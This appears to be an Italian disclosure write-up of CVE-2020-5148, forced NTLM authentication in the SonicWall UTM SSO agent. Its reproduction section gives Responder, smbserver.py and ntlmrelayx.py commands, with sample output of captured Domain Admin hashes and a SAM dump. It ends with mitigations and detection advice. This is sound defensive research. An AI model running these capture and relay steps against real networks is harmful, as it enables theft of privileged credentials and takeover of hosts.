CVE-2020-5148

Autenticazione forzata nell'agente SSO SonicWall UTM

L'agente SSO SonicWall identifica l'utente dietro un determinato indirizzo IP sondando quella workstation con NetAPI (il metodo predefinito) o WMI. Non valida la workstation prima di avviare l'autenticazione NTLM e continua a interrogare lo stesso indirizzo per l'intera durata della sessione.

Poiché il servizio agente SSO richiede diritti amministrativi su ogni workstation e server che sonda, nella pratica viene distribuito come Domain Admin. Qualsiasi soggetto non autenticato in grado di instradare traffico web attraverso l'appliance UTM può quindi far autenticare un account Domain Admin verso un host a propria scelta e catturare o rilanciare tale autenticazione.

Pubblicata come CVE-2020-5148, advisory del fornitore SNWLID-2021-0003.

Scoperta e segnalata da Sedric Louissaint di Show Up Show Out Security.

Sommario

Descrizione NVD:

La configurazione predefinita dell'agente SSO SonicWall usa NetAPI per sondare gli IP associati nella rete; questo metodo di probing lato client consente a un potenziale attaccante di catturare l'hash della password

Dettagli tecnici

Il flusso previsto e i due passaggi che omette

1. Il traffico di un utente raggiunge l'appliance UTM SonicWALL.
2. L'appliance invia l'IP dell'utente all'agente SSO come "User Name Request". I pacchetti bloccati vengono trattenuti.
3. L'agente SSO risponde con il nome utente autenticato su quella workstation.
4. LDAP o il database locale determinano l'appartenenza ai gruppi.
5. La policy viene applicata e il traffico trattenuto viene rilasciato.
6. L'appliance continua a interrogare l'agente SSO per confermare che lo stesso utente sia ancora connesso.

Le annotazioni indicano ciò che il diagramma del fornitore tralascia:

• Step 2.5 L'agente SSO deve autenticarsi alla workstation prima di poterla interrogare. Si tratta di un handshake NTLM in uscita, verso un indirizzo fornito da chi ha generato il traffico, senza alcuna validazione preventiva di quell'indirizzo.
• Step 5.5 L'agente ripete tale autenticazione a ogni poll, per tutta la durata della sessione. L'intervallo di polling è configurabile nella GUI.

Contesto dei privilegi

Il servizio agente SSO richiede diritti di amministratore su tutte le workstation e i server associati per poter eseguire la query. In praticamente ogni distribuzione ciò significa che l'account del servizio è Domain Admin.

La credenziale consegnata a un host non validato è quindi l'account con i privilegi più elevati nella directory.

Come innescarlo

Non esiste codice di exploit. Qualsiasi richiesta web in uscita da un segmento gestito dall'appliance è sufficiente:

curl sonicwall.com

L'URL è irrilevante e la richiesta non deve riuscire. L'appliance osserva il traffico da un IP non riconosciuto, chiede all'agente SSO di identificare l'utente e l'agente si autentica verso quell'IP.

Cattura della credenziale

Con Responder o smbserver.py in ascolto, l'autenticazione NTLMv2 dell'agente arriva senza essere sollecitata e continua ad arrivare grazie al comportamento di polling:

[SMB] NTLMv2-SSP Client   : 192.168.x.x
[SMB] NTLMv2-SSP Username : <DOMAIN>\<privileged account>
[SMB] NTLMv2-SSP Hash     : ...

Rilanciarla

Il cracking è opzionale. Dove la firma SMB non è applicata, l'autenticazione può essere rilanciata in tempo reale verso un host diverso, che tratta la connessione come l'account privilegiato che sembra essere:

ntlmrelayx.py -t <target> -smb2support -of <output>

[*] SMBD-Thread-4: Received connection from 192.168.x.x, attacking target smb://192.168.x.x
[*] Authenticating against smb://192.168.x.x as <DOMAIN>\<user> SUCCEED
[*] Starting service RemoteRegistry
[*] Target system bootKey: ...
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
[*] Done dumping SAM hashes for host: 192.168.x.x

L'autenticazione viene innescata da una richiesta web non autenticata e consumata su una macchina completamente diversa, il che costituisce il completo bypass degli ACL descritto nell'advisory.

Riproduzione

In un laboratorio di tua proprietà o per cui sei autorizzato a effettuare test, con un'appliance UTM configurata per l'SSO e l'agente SSO che utilizza il metodo predefinito di probing client NetAPI:

1. Avvia un listener su un host all'interno di un segmento gestito dall'appliance:
   root@kitploit:~

   sudo responder -I <interface>
   # or
   sudo smbserver.py c . -smb2support
   

2. Dallo stesso host, genera qualsiasi traffico web in uscita attraverso l'appliance:
   root@kitploit:~

   curl sonicwall.com
   

3. Una configurazione vulnerabile produce entro pochi secondi un'autenticazione NTLMv2 in ingresso dall'account del servizio agente SSO. Attendi e si ripete, a causa del polling.
4. Opzionalmente, rilancia invece di catturare, contro un host con la firma SMB disabilitata:
   root@kitploit:~

   ntlmrelayx.py -t smb://<second-host> -smb2support -of relayed
   

Sequenza completa dei comandi in poc/repro.sh.

Contenuto del repository

poc/
  repro.sh       Listener, trigger and relay commands, commented, safe to read first
  notes.md       Why NetAPI triggers this, what WMI changes, detection guidance
media/
  01-sso-flow-annotated.png
  02-curl-crossing-network-boundary.png
  03-ntlmv2-hashes-captured.png
  04-ntlmrelayx-sam-dump.png
  05-sso-agent-version-4.1.10.0.png

Gli username, gli hash e gli indirizzi interni nelle catture sono oscurati o provengono dal laboratorio originale.

Mitigazioni

1. Passa dal probing client NetAPI a WMI. Questa è la soluzione alternativa documentata dal fornitore e il cambiamento significativo più rapido.
2. Non eseguire l'agente SSO con un account che può accedere ovunque. Non consentire ad administrator di accedere tramite il servizio agente SSO, il DC, il server Exchange o il server terminale. Dove l'account deve rimanere privilegiato, usa una password abbastanza lunga da rendere il cracking offline non realistico, venti caratteri o più, mai riutilizzata.
3. Aggiorna il Directory Services Connector. NVD registra la correzione nella 4.1.19. Nota che nei test del ricercatore, la 4.1.19 e successive mostravano ancora il comportamento di probing sottostante e mostravano un avviso invece di rimuoverlo. Un avviso non è un controllo, quindi considera il passaggio a WMI e l'indurimento dell'account come la vera mitigazione.
4. Applica la firma SMB in tutto l'ambiente. Questo non impedisce la cattura della credenziale, ma elimina il relay come opzione.
5. Valuta Extended Protection for Authentication sui servizi che la supportano e limita l'SMB in uscita al perimetro.
6. Rilevalo. I tentativi di autenticazione dall'account del servizio agente SSO verso host che non sono workstation gestite sono un evento ad alto segnale. Lo è anche l'autenticazione di quell'account verso un indirizzo mai apparso nell'inventario.

Cronologia

Write-up

• Account personale: https://sedriclouissaint.com/blog/sonicwall-utm-sso-forced-authentication-cve-2020-5148/
• Show Up Show Out Security: https://susos.co/blog/authforce-sonicwall-utm-sso-forced-authentication-cve-2020-5148

Dichiarazione di non responsabilità

Pubblicata dopo la divulgazione al fornitore, per uso difensivo ed educativo. Non c'è codice di exploit qui perché non è necessario, ed è proprio questo il punto della scoperta. Non eseguire questi comandi contro reti di cui non sei proprietario o per le quali non hai un'autorizzazione scritta a testare.